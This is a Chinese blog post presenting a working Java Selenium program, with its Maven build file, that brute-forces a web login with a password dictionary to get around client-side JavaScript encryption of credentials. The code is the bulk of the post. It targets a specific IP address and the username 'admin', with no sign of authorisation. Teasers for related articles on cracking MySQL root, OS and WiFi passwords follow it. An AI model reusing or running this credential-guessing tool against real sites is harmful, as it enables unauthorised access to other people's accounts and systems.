使用selenium进行密码破解(绕过账号密码JS加密)
经常碰到网站,账号密码通过js加密后进行提交。通过burp拦截抓到的账号密码是加密后的,所以无法通过burp instruder进行破解。只能模拟浏览器填写表单并点击登录按钮进行破解。于是想到了自动化web测试工具selenium,代码如下,测试效果还不错。
package com.example.tests;
import java.util.regex.Pattern;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileReader;
import java.util.concurrent.TimeUnit;
import org.junit.*;
import static org.junit.Assert.*;
import static org.hamcrest.CoreMatchers.*;
import org.openqa.selenium.*;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.support.ui.Select;
public class GS {
private WebDriver driver;
private String baseUrl;
private boolean acceptNextAlert = true;
private StringBuffer verificationErrors = new StringBuffer();
@Before
public void setUp() throws Exception {
driver = new FirefoxDriver();
baseUrl = "http://223.116.34.113:81/";
driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
}
@Test
public void testGS() throws Exception {
File file = new File("C:\\Users\\root\\Desktop\\xxx\\password.txt"); //加载密码字典
FileReader fr = new FileReader(file);
@SuppressWarnings("resource")
BufferedReader br = new BufferedReader(fr);
@SuppressWarnings("unused")
String str = "";
while ((str = br.readLine()) != null) { //循环读取字典里的每一行
String url = baseUrl + "/web/login.aspx?" + str; // 后边加上str是为了每次强制刷新url,加不加看具体情况
driver.get(url);
driver.findElement(By.id("txt_UserID")).clear(); //清空用户名输入框
driver.findElement(By.id("txt_UserID")).sendKeys(admin); //设置用户名
driver.findElement(By.id("txt_Password")).clear(); //清空密码输入框
driver.findElement(By.id("txt_Password")).sendKeys(str); //设置密码
driver.findElement(By.xpath("//a/span")).click(); //模拟点击登录按钮
Thread.sleep(1000); //等待一秒,是否等待看具体情况。
String cururl = driver.getCurrentUrl(); // 获取当前url
if (!cururl.equals(url + "#")) { //如果登录成功会跳转,则url会发生变化
System.out.println(str); //输入可以登录成功的密码
}
}
}
@After
public void tearDown() throws Exception {
driver.quit();
String verificationErrorString = verificationErrors.toString();
if (!"".equals(verificationErrorString)) {
fail(verificationErrorString);
}
}
private boolean isElementPresent(By by) {
try {
driver.findElement(by);
return true;
} catch (NoSuchElementException e) {
return false;
}
}
private boolean isAlertPresent() {
try {
driver.switchTo().alert();
return true;
} catch (NoAlertPresentException e) {
return false;
}
}
private String closeAlertAndGetItsText() {
try {
Alert alert = driver.switchTo().alert();
String alertText = alert.getText();
if (acceptNextAlert) {
alert.accept();
} else {
alert.dismiss();
}
return alertText;
} finally {
acceptNextAlert = true;
}
}
}
以上代码依赖如下(maven):pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>F</groupId>
<artifactId>F</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>jar</packaging>
<name>F</name>
<url>http://maven.apache.org</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
</dependency>
<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-java</artifactId>
<version>2.53.0</version>
</dependency>
<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-firefox-driver</artifactId>
<version>2.53.0</version>
</dependency>
</dependencies>
</project>
使用selenium进行密码破解(绕过账号密码JS加密)的更多相关文章
- mysql 暴力破解 root账号密码
测试数据库的root账号密码大家都忘记了,好吧,那我们就暴力破解吧 1.找到my.cnf vi /etc/my.cnf在[mysqld]的段中加上一句:skip-grant-tables例如:[mys ...
- 利用python破解sqlserver账号密码
一.编写密码测试函数 在用python连接mssql数据库的时候,通常会使用pymssql模板中的connect函数,格式如下: connect(server,user,password,databa ...
- SVN 密码破解,svn密码本地找回 忘记密码
svn 密码被保存在本地文件中 C:\Users\[your computer name]\AppData\Roaming\Subversion\auth\svn.simple 文件下. 加密保存 到 ...
- Kali-linux破解操作系统用户密码
当忘记操作系统的密码或者攻击某台主机时,需要知道该系统中某个用户的用户名和密码.本节将分别介绍破解Windows和Linux用户密码. 8.6.1 破解Windows用户密码 Windows系统的用户 ...
- CDLinux环境下WiFi密码破解
> 准备好所需软件以及上篇教程中使用Fbinstool制作的可启动U盘 2 > 解压CDLinux-0.9-spring-0412.iso到U盘的根目录 如图 3 > 打开fbin ...
- Word密码破解工具字典攻击用来干什么的
AOPR全称Advanced Office Password Recovery作为一款专业的Word密码破解工具,是通过暴力破解的方式帮助用户迅速恢复各种Word文档的密码,其中常常会用到字典攻击,这 ...
- Kali Linux Web 渗透测试视频教程— 第十三课-密码破解
Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...
- yii2高级版账号密码问题
yii2高级版默认后台没有密码,生成账号密码步骤: 1. CREATE TABLE `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` ...
- [转]Linux下的暴力密码破解工具Hydra详解
摘自:http://linzhibin824.blog.163.com/blog/static/735577102013144223127/ 这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破 ...
随机推荐
- spring揭秘读书笔记----spring的ioc容器之BeanFactory
spring的ioc容器是一种特殊的Ioc Service Provider(ioc服务提供者),如果把普通的ioc容器认为是工厂模式(其实很相似),那spring的ioc容器只是让这个工厂的功能更强 ...
- jQuery框架源码解读
1.jQuery 1.9.1 parseJSON: function( data ) { // Attempt to parse using the native JSON parser first ...
- UINavigationController(二)
在使用UINavigtionController的时候,常常会弄不清哪些属性是UINavigationController的,哪些属性是UIViewController的.并且在更改导航栏和工具栏的样 ...
- fpga技能树
- 恩布企业 IM iOS端 1.1 公布, 开源手机 IM
恩布企业IM的 iOS 苹果开源手机client EntboostChat 公布 1.1 开发版本号.开源企业IM.企业即时通讯软件: 主要更新内容: 录界面添加自己定义LOGO显示 持部门.群组.联 ...
- IOS设计模式浅析之建造者模式(Builder)
定义 "将一个复杂对象的构建与它的表现分离,使得同样的构建过程可以创建不同的表现". 最初的定义出现于<设计模式>(Addison-Wesley,1994). 看这个概 ...
- UVA1658 Admiral 拆点法解决结点容量(路径不能有公共点,容量为1的时候) 最小费用最大流
/** 题目:UVA1658 Admiral 链接:https://vjudge.net/problem/UVA-1658 题意:lrj入门经典P375 求从s到t的两条不相交(除了s和t外,没有公共 ...
- erlang 洗牌 shuffle
很简单的一个场景:一副扑克(54张)的乱序洗牌 shuffle_list(List) -> [X || {_, X} <- lists:sort([{random:uniform(), N ...
- Hibernate命名查询
hibernate命名的查询是通过一些有意义的名称来使用查询的方式.就类似于使用别名一样. Hibernate框架提供命名查询的概念,以便应用程序员不需要将查询分散到所有的java代码,进一步提高代码 ...
- 抒发一下这些天用django做web项目的一些体会
最近接触了一段时间的python,觉得python写脚本还是挺方便的,做一个简单的桌面应用也很nice,但是随着深入,对python做功能复杂的web项目我彻底死心了,每个环节都是一堆的坑,部署阶段 ...